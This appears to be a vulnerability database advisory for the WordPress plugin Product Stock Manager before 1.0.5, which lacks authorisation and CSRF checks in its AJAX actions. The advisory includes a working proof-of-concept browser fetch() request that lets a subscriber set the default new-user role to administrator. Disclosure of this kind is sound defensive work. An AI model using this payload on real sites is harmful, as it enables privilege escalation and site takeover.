Lucene search

K
wpexploitWpvulndbWPEX-ID:D8005CD0-8232-4D43-A4E4-14728EAF1300
HistoryOct 17, 2022 - 12:00 a.m.

Product Stock Manager < 1.0.5 - Subscriber+ Unauthorised AJAX Calls

2022-10-1700:00:00
wpvulndb
56
product stock manager
subscriber+
unauthorised ajax calls
set default role
administrator
exploit

EPSS

0.001

Percentile

21.2%

The plugin does not have authorisation and proper CSRF checks in multiple AJAX actions, allowing users with a role as low as subscriber to call them. One action in particular could allow to update arbitrary options

To set the default role for new users to administrator, run the below command in the developer console of the web browser while being logged on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=af_sm_set_checkbox_status&name=default_role&checkbox_status=administrator',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

EPSS

0.001

Percentile

21.2%

Related for WPEX-ID:D8005CD0-8232-4D43-A4E4-14728EAF1300